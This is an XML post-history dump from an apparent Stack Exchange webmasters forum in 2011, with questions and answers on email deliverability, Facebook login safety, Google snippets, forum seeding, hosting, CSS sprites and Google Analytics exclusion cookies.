  <row Id="36727" PostHistoryTypeId="2" PostId="15532" RevisionGUID="c89421d4-f7c7-4c8b-b786-f5c5678b5439" CreationDate="2011-06-18T10:22:37.810" UserId="7198" Text="I'd suggest a dedicated transactional email provider like [SMTP.com,](http://www.smtp.com/) [SendGrid,](http://sendgrid.com/) or [Postmark.](http://postmarkapp.com/) They provide the mailserver, sending API, and take steps to reduce the amount of mail that hits your users' spam folders for you by configuring things like [DKIM](http://www.dkim.org/), [SPF records](http://www.openspf.org/), and unique IP addresses.&#xD;&#xA;&#xD;&#xA;When a site depends heavily on emails being delivered, it often pays to use a dedicated third-party service instead of setting up your own mailserver, purely so that you don't spend time trying to fix deliverability and reliability issues that someone else has already solved." />
  <row Id="36728" PostHistoryTypeId="2" PostId="15533" RevisionGUID="551f4507-5142-4cdc-9ed5-7aa1e0a07f85" CreationDate="2011-06-18T11:01:32.980" UserId="8147" Text="I am scared that someone can get into anybodys account on my game, if user does not have Facebook. Stealer makes facebook with same email that user in my game, and then click &quot;Login with facebook&quot; -&gt; redirects him to permission page -&gt; back to my page - it detects that facebook email is same as victim's and -&gt; stealer is logged into victims account.&#xD;&#xA;&#xD;&#xA;How could I prevent this? Just t allow LOGGED in users to associate their account with facebook's ?" />
  <row Id="36729" PostHistoryTypeId="1" PostId="15533" RevisionGUID="551f4507-5142-4cdc-9ed5-7aa1e0a07f85" CreationDate="2011-06-18T11:01:32.980" UserId="8147" Text="Facebook - &quot;openID&quot; danger?" />
  <row Id="36730" PostHistoryTypeId="3" PostId="15533" RevisionGUID="551f4507-5142-4cdc-9ed5-7aa1e0a07f85" CreationDate="2011-06-18T11:01:32.980" UserId="8147" Text="&lt;facebook&gt;&lt;login&gt;&lt;facebook-graph&gt;" />
  <row Id="36731" PostHistoryTypeId="25" PostId="15498" RevisionGUID="002f5fbd-a45c-4ff8-8697-f20711bffffb" CreationDate="2011-06-18T12:24:32.153" Comment="http://twitter.com/#!/StackWebmasters/status/82061126103351296" />
  <row Id="36732" PostHistoryTypeId="5" PostId="15516" RevisionGUID="b3ccb1aa-c2b4-4a9e-ae9d-64a3e26e940a" CreationDate="2011-06-18T13:36:29.590" UserId="2699" Comment="Replaced URL shurtener with real address and linked inside the text" Text="9grams,&#xD;&#xA;&#xD;&#xA;The first step is to determine why the database is so large. Though not impossible, it's extremely unlikely that it needs to be that large. There's probably some plugin inefficiently or unnecessarily storing data. If you're not sure what's going on, it may help to access phpMyAdmin, a database management tool, to see what table in the database is taking up so much space. This would help you identify if it's a specific plugin. If you don't know how, [this help article explains][1] how to access phpMyAdmin from your GoDaddy.com account.&#xD;&#xA;&#xD;&#xA;In my experience, it's often traffic statistics data that causes this problem. I have no way of knowing if that's the case for you, but if it is, I would recommend finding another solution for stats tracking and then removing the plugin and stats table that the plugin generated. There are many solutions out there which don't store the information in the database (including a service offered by Go Daddy), so you wouldn't have to sacrifice stats tracking, just find a new way to do it.&#xD;&#xA;&#xD;&#xA;Alon&#xD;&#xA;GoDaddy.com Social Media Team&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://community.godaddy.com/help/article/5942?isc=smfor1" />
  <row Id="36733" PostHistoryTypeId="24" PostId="15516" RevisionGUID="b3ccb1aa-c2b4-4a9e-ae9d-64a3e26e940a" CreationDate="2011-06-18T13:36:29.590" Comment="Proposed by 2699 approved by 1253 edit id of 402" />
  <row Id="36734" PostHistoryTypeId="2" PostId="15534" RevisionGUID="f14a638c-007a-404f-b7a5-98c348ddc5de" CreationDate="2011-06-18T13:44:07.747" UserId="1253" Text="OpenID requires the user to be logged into the website of the OpenID account they are using. So unless someone is logged into that Facebook account, Facebook won't authenticate them and allow them to be logged into your website. So if someone uses the same email address as another person's Facebook account they will still fail to login." />
  <row Id="36735" PostHistoryTypeId="5" PostId="15530" RevisionGUID="811623ac-4f06-4def-a738-c6f795f416ba" CreationDate="2011-06-18T13:47:51.160" UserId="1253" Comment="minor text edits" Text="I have recently made a simple website. The most important key phrase that I want to capture is &quot;full reserve banking&quot;. Currently, if I type &quot;full reserve banking&quot; (without quotes) into google, then my site appears as the 7th item on the first page. I am reasonably happy with this as the site is so new. But one frustration is that the text that google displays in relation to my site is rather misleading. The main message I would like to get across is that my site is &quot;A collection of resources for anyone interested in this alternative monetary system.&quot; and I have this as the first line of text on the page. Unfortunately, this important sentence is nowhere to be seen in the google search result. So my question is - is there anything I can do to fix this error?&#xD;&#xA;" />
  <row Id="36736" PostHistoryTypeId="2" PostId="15535" RevisionGUID="51827766-930f-453e-a397-0fc895b85eb2" CreationDate="2011-06-18T13:58:26.023" UserId="1253" Text="Google will choose your search results snippets from the following places (not necessarily in this order):&#xD;&#xA;&#xD;&#xA;1. The page's Meta Description tag&#xD;&#xA;2. The page's Open Directory Project (ODP) Listing&#xD;&#xA;3. Page content relevant to the search query&#xD;&#xA;&#xD;&#xA;If you do *not* want Google to use the ODP listing's description then you can tell them not to do so with the following Meta tag:&#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;robots&quot; content=&quot;NOODP&quot;&gt;&#xD;&#xA;&#xD;&#xA;If you want to encourage Google to use your Meta Description tag then make sure it is unique to each page. Also make sure it contains an accurate description of the page's content.&#xD;&#xA;&#xD;&#xA;In thew absence of an ODP description and Meta Description tag, Google will use a portion of the page's text as the description. This text will contain the closest matches to the search query.&#xD;&#xA;&#xD;&#xA;On a related note, if you don't want a snippet to be shown with a particular page you can use the following Meta tag to prevent one from being shown:&#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;robots&quot; content=&quot;nosnippet&quot;&gt;" />
  <row Id="36737" PostHistoryTypeId="2" PostId="15536" RevisionGUID="1035c614-83d4-4fdb-b5d1-6a531b2c0c1d" CreationDate="2011-06-18T14:44:16.337" UserId="2930" Text="I need good links for [my blog][1]. Its more than a year old but I do not get enough traffic. I figured out that I lacked backlinks a lot. Can anyone suggest me a good way to find relevant links for your nitche? I write about programming.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mycsnippets.blogspot.com" />
  <row Id="36738" PostHistoryTypeId="1" PostId="15536" RevisionGUID="1035c614-83d4-4fdb-b5d1-6a531b2c0c1d" CreationDate="2011-06-18T14:44:16.337" UserId="2930" Text="How to get links for blogroll?" />
  <row Id="36739" PostHistoryTypeId="3" PostId="15536" RevisionGUID="1035c614-83d4-4fdb-b5d1-6a531b2c0c1d" CreationDate="2011-06-18T14:44:16.337" UserId="2930" Text="&lt;backlinks&gt;" />
  <row Id="36740" PostHistoryTypeId="5" PostId="15536" RevisionGUID="c4da41f0-6e89-4539-b5c6-01c6c8273b47" CreationDate="2011-06-18T14:53:08.803" UserId="1253" Comment="deleted 51 characters in body" Text="I need good links for my blog. Its more than a year old but I do not get enough traffic. I figured out that I lacked backlinks a lot. Can anyone suggest me a good way to find relevant links for your nitche? I write about programming.&#xD;&#xA;" />
  <row Id="36741" PostHistoryTypeId="25" PostId="15533" RevisionGUID="2f05a5f2-b6ac-434b-b63b-4228c646bf75" CreationDate="2011-06-18T15:24:32.510" Comment="http://twitter.com/#!/StackWebmasters/status/82106426243293186" />
  <row Id="36742" PostHistoryTypeId="5" PostId="15534" RevisionGUID="34f15bd2-b42a-47c7-b731-8262a33310a0" CreationDate="2011-06-18T15:30:55.993" UserId="1253" Comment="added 125 characters in body" Text="OpenID requires the user to be logged into the website of the OpenID account they are using. So unless someone is logged into that Facebook account, Facebook won't authenticate them and allow them to be logged into your website. So if someone uses the same email address as another person's Facebook account they will still fail to login.&#xD;&#xA;&#xD;&#xA;**Update** &#xD;&#xA;&#xD;&#xA;Facebook does require the verification of email addresses so this kind of hijacking attempt will not work." />
  <row Id="36743" PostHistoryTypeId="17" PostId="15537" RevisionGUID="687db334-fda7-4f46-80f0-11e307bbcb88" CreationDate="2011-06-18T15:41:49.007" UserId="-1" Comment="from http://stackoverflow.com/questions/6396945/how-can-i-make-my-website-look-better" Text="" />
  <row Id="36744" PostHistoryTypeId="17" PostId="15538" RevisionGUID="6e600675-8ba1-4dc1-a6f5-10247d337107" CreationDate="2011-06-18T15:41:49.007" UserId="-1" Comment="from http://stackoverflow.com/questions/6396945/how-can-i-make-my-website-look-better" Text="" />
  <row Id="36745" PostHistoryTypeId="17" PostId="15539" RevisionGUID="50be365d-83d6-4c45-87ec-22fee08d1e8c" CreationDate="2011-06-18T15:41:49.007" UserId="-1" Comment="from http://stackoverflow.com/questions/6396945/how-can-i-make-my-website-look-better" Text="" />
  <row Id="36746" PostHistoryTypeId="17" PostId="15540" RevisionGUID="674bb78a-45f3-46b8-a513-4a5acaa511af" CreationDate="2011-06-18T15:41:49.007" UserId="-1" Comment="from http://stackoverflow.com/questions/6396945/how-can-i-make-my-website-look-better" Text="" />
  <row Id="36747" PostHistoryTypeId="2" PostId="15538" RevisionGUID="2ffc5261-8d26-420e-bfd1-a30a00752e0f" CreationDate="2011-06-18T15:18:12.350" UserId="9605" UserDisplayName="Itay Moav" Text="[use a color scheme generator][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?client=ubuntu&amp;channel=fs&amp;q=html%20color%20scheme%20generator&amp;ie=utf-8&amp;oe=utf-8" />
  <row Id="36748" PostHistoryTypeId="2" PostId="15539" RevisionGUID="2cd8d36a-1d76-4d6b-a3f9-a32225a7cdbb" CreationDate="2011-06-18T15:18:43.397" UserDisplayName="Krypton" Text="You can find great themes, search for hex colours and any of the themes that contain a certain colour on the site I have linked below - hope you find it to be of use.&#xD;&#xA;&#xD;&#xA;http://kuler.adobe.com/" />
  <row Id="36749" PostHistoryTypeId="2" PostId="15540" RevisionGUID="f687137a-57ee-48ed-a685-ef76e3733644" CreationDate="2011-06-18T15:19:34.223" UserDisplayName="Heandel" Text="Hire a professional designer. It's their job to build great-looking designs.&#xD;&#xA;&#xD;&#xA;Or get a free pre-built theme." />
  <row Id="36750" PostHistoryTypeId="2" PostId="15537" RevisionGUID="da5cca8d-a8e3-4240-81fa-4743a04baadb" CreationDate="2011-06-18T15:16:32.403" UserDisplayName="Seth" Text="So I have a website currently under development.. let me just first say that the domain name is NOT the name of the website or going to have any relation to it..&#xD;&#xA;&#xD;&#xA;http://pandafi.com/&#xD;&#xA;&#xD;&#xA;This site is currently in its early stages of building, and what I need help with is the color..&#xD;&#xA;&#xD;&#xA;I can't really find any color for the register box that matches the background, and I'm not sure if these are the right colors to use at all.." />
  <row Id="36751" PostHistoryTypeId="1" PostId="15537" RevisionGUID="da5cca8d-a8e3-4240-81fa-4743a04baadb" CreationDate="2011-06-18T15:16:32.403" UserDisplayName="Seth" Text="How can I make my website look better?" />
  <row Id="36752" PostHistoryTypeId="3" PostId="15537" RevisionGUID="da5cca8d-a8e3-4240-81fa-4743a04baadb" CreationDate="2011-06-18T15:16:32.403" UserDisplayName="Seth" Text="&lt;html&gt;&lt;css&gt;" />
  <row Id="36753" PostHistoryTypeId="2" PostId="15541" RevisionGUID="4b0abee7-9dbf-4339-abcd-ff3d776844f9" CreationDate="2011-06-18T15:47:05.423" UserId="5304" Text="I'm about to launch a discussion forum about Taiwan.&#xD;&#xA;I'm really trying to figure out how to deal with the first visitors.&#xD;&#xA;&#xD;&#xA;I've thought about the following so far:&#xD;&#xA;&#xD;&#xA;1. Invite few friends to start some discussions and give some replies.&#xD;&#xA;2. Create discussions myself and reply them myself (with another account).&#xD;&#xA;&#xD;&#xA;I don't want the first visitors to feel like the site is empty.&#xD;&#xA;&#xD;&#xA;Maybe I'm missing something.&#xD;&#xA;Any suggestions?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="36754" PostHistoryTypeId="1" PostId="15541" RevisionGUID="4b0abee7-9dbf-4339-abcd-ff3d776844f9" CreationDate="2011-06-18T15:47:05.423" UserId="5304" Text="Should I have created topics in a forum I'm about to launch so that new users won't feel it is &quot;empty&quot;?" />
  <row Id="36755" PostHistoryTypeId="3" PostId="15541" RevisionGUID="4b0abee7-9dbf-4339-abcd-ff3d776844f9" CreationDate="2011-06-18T15:47:05.423" UserId="5304" Text="&lt;forum&gt;" />
  <row Id="36756" PostHistoryTypeId="10" PostId="15537" RevisionGUID="5f3ef21e-2730-4a0a-9e70-59b176b3d783" CreationDate="2011-06-18T15:47:28.763" UserId="1253" CloseReasonId="3" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="36757" PostHistoryTypeId="5" PostId="15536" RevisionGUID="e75d1f7c-5bdd-42f0-bda5-50567a8a6266" CreationDate="2011-06-18T15:49:15.983" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [What is a good way to get many inbound links to your site?](http://webmasters.stackexchange.com/questions/12923/what-is-a-good-way-to-get-many-inbound-links-to-your-site)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I need good links for my blog. Its more than a year old but I do not get enough traffic. I figured out that I lacked backlinks a lot. Can anyone suggest me a good way to find relevant links for your nitche? I write about programming.&#xD;&#xA;" />
  <row Id="36758" PostHistoryTypeId="10" PostId="15536" RevisionGUID="bce7b096-8e4d-471c-ace1-6413c3cd7a80" CreationDate="2011-06-18T15:49:15.330" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="36759" PostHistoryTypeId="2" PostId="15542" RevisionGUID="dd0b425f-47f0-4d6b-9e25-dbd5957b31d4" CreationDate="2011-06-18T15:53:08.527" UserId="1253" Text="&quot;Seeding&quot; your forums is definitely a good idea. In fact, the two ideas you have are how most sites go about it. I'd say start a few topics and have your friends participate. If you find that isn't quite working to your level of expectations then you can create a couple of alter egos and add create some good discussions. I'd only do the latter if really necessary and stop once you get some momentum going. " />
  <row Id="36760" PostHistoryTypeId="4" PostId="15541" RevisionGUID="f942c728-6585-4f1b-bdfa-0305c69f5536" CreationDate="2011-06-18T15:59:54.013" UserId="5304" Comment="edited title" Text="Should I create topics in a forum I'm about to launch so that new users won't feel it is &quot;empty&quot;?" />
  <row Id="36771" PostHistoryTypeId="25" PostId="15541" RevisionGUID="7db0646d-c5fa-41b8-8fe1-154580df1562" CreationDate="2011-06-18T18:24:32.760" Comment="http://twitter.com/#!/StackWebmasters/status/82151726727176194" />
  <row Id="36776" PostHistoryTypeId="5" PostId="15530" RevisionGUID="859776ae-ba97-49f8-a337-1f4cb1b9060a" CreationDate="2011-06-18T19:48:41.783" UserId="8390" Comment="added 487 characters in body" Text="I have recently made a simple website (fullreservebanking.com). The most important key phrase that I want to capture is &quot;full reserve banking&quot;. Currently, if I type &quot;full reserve banking&quot; (without quotes) into google, then my site appears as the 7th item on the first page. I am reasonably happy with this as the site is so new. But one frustration is that the text that google displays in relation to my site is rather misleading. The main message I would like to get across is that my site is &quot;A collection of resources for anyone interested in this alternative monetary system.&quot; and I have this as the first line of text on the page. Unfortunately, this important sentence is nowhere to be seen in the google search result. So my question is - is there anything I can do to fix this error?&#xD;&#xA;&#xD;&#xA;**Edit:** I noticed that someone edited this question to remove the name of the website. I was very keen to leave it in because being able to look at it makes it far easier to diagnose what I did wrong. Indeed the answer suggested by &quot;Su&quot; clearly shows that they looked at my website and analyzed what it was doing which helped them give a clearer answer. If I am breaking some policy by including the name then please explain what this policy is in a comment." />
  <row Id="36777" PostHistoryTypeId="2" PostId="15546" RevisionGUID="9f5bd11b-3805-4afe-8e4c-c385f173dd83" CreationDate="2011-06-18T19:54:30.550" UserId="2251" Text="I'm sorry if this isn't the right place for this question, but I'm presently having difficulties with my hosting provider ([1and1][1]). Two weeks ago, two of my clients bought hosting from them on my recommendation, but as it turned out, 1and1 are having severe technical difficulties.&#xD;&#xA;&#xD;&#xA;Right now non of their hosting packages are able to accept ANY external domains. So either you pay the costs of transferring the registrar of your domain, or you use the ugly 1and1 domain name. Not any good for a hosting company of 1and1's reputation!&#xD;&#xA;&#xD;&#xA;They have been promising me for two weeks that they're going to fix the problem, but as you have probably guessed by now, that hasn't been the case.&#xD;&#xA;&#xD;&#xA;I would like to know if a) Anyone else is in the same boat as me, and b) If there are other comparably reputable hosting providers that I should consider moving to instead?&#xD;&#xA;&#xD;&#xA;Very disappointing! :(&#xD;&#xA;&#xD;&#xA;Note: This is for 1and1 **in the UK**. I imagine it isn't affecting users in other countries(?)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.1and1.co.uk" />
  <row Id="36778" PostHistoryTypeId="1" PostId="15546" RevisionGUID="9f5bd11b-3805-4afe-8e4c-c385f173dd83" CreationDate="2011-06-18T19:54:30.550" UserId="2251" Text="1and1: Unable to host an external domain" />
  <row Id="36779" PostHistoryTypeId="3" PostId="15546" RevisionGUID="9f5bd11b-3805-4afe-8e4c-c385f173dd83" CreationDate="2011-06-18T19:54:30.550" UserId="2251" Text="&lt;web-hosting&gt;&lt;looking-for-hosting&gt;&lt;shared-hosting&gt;&lt;1and1&gt;" />
  <row Id="36781" PostHistoryTypeId="2" PostId="15547" RevisionGUID="bebf8e12-130f-4ed9-977c-4138f69b81b3" CreationDate="2011-06-18T20:18:56.317" UserId="8354" Text="You do not need to transfer the registrar. But you need to host your DNS records on their name servers. Otherwise (for whatever reason) they cannot link the web hosting package with domain name. At least that was the situation 2 years ago when I did this myself.&#xD;&#xA;&#xD;&#xA;1) Find out what name servers you should use from 1and1 control panel (sorry, I cannot give you precise instructions as I no longer have such type of hosting with them -- only full dedicated server -- which may actually work in the same way but I do not have login details at home (and don't really want to mess around myself without the need)).&#xD;&#xA;&#xD;&#xA;2) Go to control panel of your domain name (your registrar, where you currently hosting your domain name) and change DNS servers.&#xD;&#xA;&#xD;&#xA;If you do #2 first and #1 few hours later (I dunno, 2-6 hours maybe) 1and1 should pick up and setup domain names very quickly. Otherwise there may be delays up to few days (when I did this myself over 2 years ago I had to wait like 2 or 3 days -- don't remember exact reason for a delay).&#xD;&#xA;&#xD;&#xA;1&amp;1 should have FAQ or manual on how to do this (at least I remember reading something like that). Otherwise contact their support for exact instructions." />
  <row Id="36782" PostHistoryTypeId="5" PostId="15546" RevisionGUID="181bd11e-f5cf-47d3-8584-0e4fccb923e4" CreationDate="2011-06-18T20:25:22.263" UserId="2251" Comment="added 222 characters in body" Text="I'm sorry if this isn't the right place for this question, but I'm presently having difficulties with my hosting provider ([1and1][1]). Two weeks ago, two of my clients bought hosting from them on my recommendation, but as it turned out, 1and1 are having severe technical difficulties.&#xD;&#xA;&#xD;&#xA;Right now non of their hosting packages are able to accept ANY external domains. So either you pay the costs of transferring the registrar of your domain, or you use the ugly 1and1 domain name. Not any good for a hosting company of 1and1's reputation!&#xD;&#xA;&#xD;&#xA;They have been promising me for two weeks that they're going to fix the problem, but as you have probably guessed by now, that hasn't been the case.&#xD;&#xA;&#xD;&#xA;I would like to know if a) Anyone else is in the same boat as me, and b) If there are other comparably reputable hosting providers that I should consider moving to instead?&#xD;&#xA;&#xD;&#xA;Very disappointing! :(&#xD;&#xA;&#xD;&#xA;Note: This is for 1and1 **in the UK**. I imagine it isn't affecting users in other countries(?)&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Clarification**: 1and1 are unable to accept ANY external domains. That means that even if you update your DNS details on your domain, their system cannot be updated to add your external domain to your account.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.1and1.co.uk" />
  <row Id="36783" PostHistoryTypeId="2" PostId="15548" RevisionGUID="57ac40d5-ba8f-45a1-b54d-05eb681fd0ce" CreationDate="2011-06-18T20:25:44.200" UserId="8395" Text="I know there are plenty of online tools which let's you upload your images there and it generates the appropriate CSS/sprite(s) to be used with them on your page. &#xD;&#xA;&#xD;&#xA;Is there any such website/tool which would take a website URL and parse from its DOM the images/css and calculate the sprites/css to be used specifically with that DOM, so you could just copy &amp; replace your own CSS with the one provided by the tool?&#xD;&#xA;&#xD;&#xA;I know the complexity of such calculations, but it certainly sounds like something that can be done, so my question is, is there something ready and available already?&#xD;&#xA;" />
  <row Id="36784" PostHistoryTypeId="1" PostId="15548" RevisionGUID="57ac40d5-ba8f-45a1-b54d-05eb681fd0ce" CreationDate="2011-06-18T20:25:44.200" UserId="8395" Text="Automated image/css sprite generation from website CSS" />
  <row Id="36785" PostHistoryTypeId="3" PostId="15548" RevisionGUID="57ac40d5-ba8f-45a1-b54d-05eb681fd0ce" CreationDate="2011-06-18T20:25:44.200" UserId="8395" Text="&lt;css&gt;&lt;web-services&gt;&lt;sprite&gt;" />
  <row Id="36786" PostHistoryTypeId="5" PostId="15530" RevisionGUID="34584191-a887-4456-b451-b7277e105347" CreationDate="2011-06-18T20:29:36.900" UserId="1253" Comment="deleted 25 characters in body" Text="I have recently made a simple website. The most important key phrase that I want to capture is &quot;full reserve banking&quot;. Currently, if I type &quot;full reserve banking&quot; (without quotes) into google, then my site appears as the 7th item on the first page. I am reasonably happy with this as the site is so new. But one frustration is that the text that google displays in relation to my site is rather misleading. The main message I would like to get across is that my site is &quot;A collection of resources for anyone interested in this alternative monetary system.&quot; and I have this as the first line of text on the page. Unfortunately, this important sentence is nowhere to be seen in the google search result. So my question is - is there anything I can do to fix this error?&#xD;&#xA;&#xD;&#xA;**Edit:** I noticed that someone edited this question to remove the name of the website. I was very keen to leave it in because being able to look at it makes it far easier to diagnose what I did wrong. Indeed the answer suggested by &quot;Su&quot; clearly shows that they looked at my website and analyzed what it was doing which helped them give a clearer answer. If I am breaking some policy by including the name then please explain what this policy is in a comment." />
  <row Id="36787" PostHistoryTypeId="2" PostId="15549" RevisionGUID="1047964b-69c5-422f-a1b7-031699f04e0c" CreationDate="2011-06-18T20:32:55.767" UserId="8153" Text="1.How am I supposed to store data on server, using not only: databases,text files and images? For example: http://jayant7k.blogspot.com/2009/05/how-facebook-stores-billions-of-photos.html is this implemented by simple text files or how?&#xD;&#xA;&#xD;&#xA;And how someone could implement storing data in fb's graph api http://developers.facebook.com/docs/reference/api/ , so when I go to: https://graph.facebook.com/19292868552 it shows me such data(how it can be stored? I guess it's not Mysql database)&#xD;&#xA;&#xD;&#xA;2.Is it not to slow to open few files while processing request from a user(via PHP)?&#xD;&#xA;" />
  <row Id="36788" PostHistoryTypeId="1" PostId="15549" RevisionGUID="1047964b-69c5-422f-a1b7-031699f04e0c" CreationDate="2011-06-18T20:32:55.767" UserId="8153" Text="Storing data on server" />
  <row Id="36789" PostHistoryTypeId="3" PostId="15549" RevisionGUID="1047964b-69c5-422f-a1b7-031699f04e0c" CreationDate="2011-06-18T20:32:55.767" UserId="8153" Text="&lt;php&gt;&lt;facebook&gt;&lt;server&gt;" />
  <row Id="36790" PostHistoryTypeId="4" PostId="15548" RevisionGUID="7bdde0af-0d92-4d0d-8270-000f1485c1e4" CreationDate="2011-06-18T20:33:41.943" UserId="8395" Comment="edited title" Text="Automated image/css sprite generation from website DOM" />
  <row Id="36791" PostHistoryTypeId="5" PostId="15549" RevisionGUID="329eae63-6a10-4a4c-a48d-34e978bd7d5e" CreationDate="2011-06-18T20:44:40.993" UserId="8153" Comment="added 1 characters in body" Text="1.How am I supposed to store data on server, using not only: databases,text files and images? For example: http://jayant7k.blogspot.com/2009/05/how-facebook-stores-billions-of-photos.html is this implemented by simple text files or how?&#xD;&#xA;&#xD;&#xA;And how someone could implement storing data in fb's graph api http://developers.facebook.com/docs/reference/api/ , so when I go to: https://graph.facebook.com/19292868552 it shows me such data(how it can be stored? I guess it's not Mysql database)&#xD;&#xA;&#xD;&#xA;2.Is it not too slow to open few files while processing request from a user(via PHP)?&#xD;&#xA;" />
  <row Id="36792" PostHistoryTypeId="5" PostId="15549" RevisionGUID="0098bd0c-0e57-4aa8-88b9-a37e2b32fcab" CreationDate="2011-06-18T20:55:57.407" UserId="8153" Comment="deleted 143 characters in body" Text="1.How am I supposed to store data on server, using not only: databases,text files and images?&#xD;&#xA;&#xD;&#xA;And how someone could implement storing data in fb's graph api http://developers.facebook.com/docs/reference/api/ , so when I go to: https://graph.facebook.com/19292868552 it shows me such data(how it can be stored? I guess it's not Mysql database)&#xD;&#xA;&#xD;&#xA;2.Is it not too slow to open few files while processing request from a user(via PHP)?&#xD;&#xA;" />
  <row Id="36793" PostHistoryTypeId="25" PostId="15476" RevisionGUID="84f2009c-7659-45a6-bea1-89688bfdffcc" CreationDate="2011-06-18T21:24:33.100" Comment="http://twitter.com/#!/StackWebmasters/status/82197026095382528" />
  <row Id="36794" PostHistoryTypeId="2" PostId="15550" RevisionGUID="5a47fb06-f434-45a8-a68a-dc3b7d19f428" CreationDate="2011-06-18T22:20:34.587" UserId="8397" Text="I have a pair of websites, a &quot;personal&quot; and &quot;professional&quot; which I recently put online. &#xD;&#xA;&#xD;&#xA;As I'm not generating content, traffic or doing any promoting yet I've got a really good idea of who's visiting (less than 10 hits a day :| )&#xD;&#xA;&#xD;&#xA;In reviewing my logs I found a visit to each site from a google IP (74.125.0.0) apparently using chrome on osx. &#xD;&#xA;&#xD;&#xA;The two IPs were very close together, but not the same and the requests were 12 minutes apart. Both hits were without a referrer and only viewed the index.&#xD;&#xA;&#xD;&#xA;I have added the sites to google webmaster tools, which I assume is the source of this. &#xD;&#xA;&#xD;&#xA;Is their bot pretending not to be a bot to see if there's alternate content?&#xD;&#xA;&#xD;&#xA;I suppose this could just be a curious employee, but I would have expected less time between visits and the same IP. Any idea what this might have been if not a bot?&#xD;&#xA;&#xD;&#xA;I still don't want traffic so I'm posting A/C " />
  <row Id="36795" PostHistoryTypeId="1" PostId="15550" RevisionGUID="5a47fb06-f434-45a8-a68a-dc3b7d19f428" CreationDate="2011-06-18T22:20:34.587" UserId="8397" Text="Does google do additional crawling pretending not to be a bot?" />
  <row Id="36796" PostHistoryTypeId="3" PostId="15550" RevisionGUID="5a47fb06-f434-45a8-a68a-dc3b7d19f428" CreationDate="2011-06-18T22:20:34.587" UserId="8397" Text="&lt;google&gt;&lt;google-webmaster-tools&gt;" />
  <row Id="36797" PostHistoryTypeId="2" PostId="15551" RevisionGUID="f13cdd03-cd82-4df0-a67f-d879b9ce318d" CreationDate="2011-06-18T22:34:01.287" UserId="1253" Text="A couple of things spring to mind:&#xD;&#xA;&#xD;&#xA;1. A Google employee was doing a manual review of your website because they were following up on a flag that the page may be violating Google's terms of service. Although they automate much of their spam control, human review is still very much in use.&#xD;&#xA;&#xD;&#xA;2. Someone at Google was just checking out your site. It happens. :)" />
  <row Id="36798" PostHistoryTypeId="2" PostId="15552" RevisionGUID="e08ff3e7-9de7-4cf1-b007-3bfdc0a0bef9" CreationDate="2011-06-18T23:58:11.353" UserId="8070" Text="I'm trying to set up an exclusion filter with a browser cookie, so that my own visits to my don't show up in my Google Analytics.  I tried 3 different methods and none of them have worked so far.  I would like help understanding what I am doing wrong and how I can fix this.&#xD;&#xA;&#xD;&#xA;**Method 1**  &#xD;&#xA;First, I tried following Google's instructions, http://www.google.com/support/analytics/bin/answer.py?hl=en&amp;answer=55481, for excluding traffic by Cookie Content:&#xD;&#xA;&#xD;&#xA;&gt; Create a new page on your domain,&#xD;&#xA;&gt; containing the following code:&#xD;&#xA;&gt;   &#xD;&#xA;&gt; &lt;!-- language: lang-html --&gt;&#xD;&#xA;&gt;   &#xD;&#xA;&gt;     &lt;body onLoad=&quot;javascript:pageTracker._setVar('test_value');&gt;&#xD;&#xA;&#xD;&#xA;**Method 2**  &#xD;&#xA;Next, when that didn't work, I googled around and found this Google thread, http://www.google.com/support/forum/p/Google%20Analytics/thread?tid=4741f1499823fcd5&amp;hl=en, where the most popular answer says to use a slightly different code:  &#xD;&#xA;&#xD;&#xA;&gt; SHS Analytics wrote:  &#xD;&#xA;&gt;&#xD;&#xA;&gt; &lt;!-- language: lang-html --&gt;  &#xD;&#xA;&gt;&#xD;&#xA;&gt;      &lt;body onLoad=&quot;javascript:_gaq.push(['_setVar','test_value']);&quot;&gt;&#xD;&#xA;&gt; &#xD;&#xA;&gt; Thank you! This has now set a __utmv cookie containing &quot;test_value&quot;,&#xD;&#xA;&gt; whereas the original:  &#xD;&#xA;&gt; &#xD;&#xA;&gt; &lt;!-- language: lang-js --&gt;  &#xD;&#xA;&gt;&#xD;&#xA;&gt;      pageTracker._setVar('test_value')&#xD;&#xA;&gt; &#xD;&#xA;&gt; (which Google is still recommending)&#xD;&#xA;&gt; did not manage to do that for me (in&#xD;&#xA;&gt; Mac Safari 5 and Firefox 3.6.8).&#xD;&#xA;&#xD;&#xA;So I tried this code, but it didn't work for me.  &#xD;&#xA;&#xD;&#xA;**Method 3**  &#xD;&#xA;Finally, I searched StackOverflow and came across this thread, http://stackoverflow.com/questions/3495270/exclude-my-traffic-from-google-analytics-using-cookie-with-subdomain, which suggests that the following code might work:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-html --&gt;&#xD;&#xA;&#xD;&#xA;     &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;        var _gaq = _gaq || [];&#xD;&#xA;        _gaq.push(['_setVar', 'exclude_me']);&#xD;&#xA;        _gaq.push(['_setAccount', 'UA-xxxxxxxx-x']);&#xD;&#xA;        _gaq.push(['_trackPageview']);&#xD;&#xA;     // etc...&#xD;&#xA;     &lt;/script&gt;&#xD;&#xA;&#xD;&#xA;This script appeared in the head element in the example, instead of in the onload event of the body like in the previous 2 examples.  So I tried this too, but still had no luck with trying to exclude myself from Google Analytics.&#xD;&#xA;&#xD;&#xA;**Re-iterate question**  &#xD;&#xA;So, I tried all 3 methods above with no success.  Am I doing something wrong?  How can I exclude myself from my Google Analytics using an exclusion cookie for my browser? " />
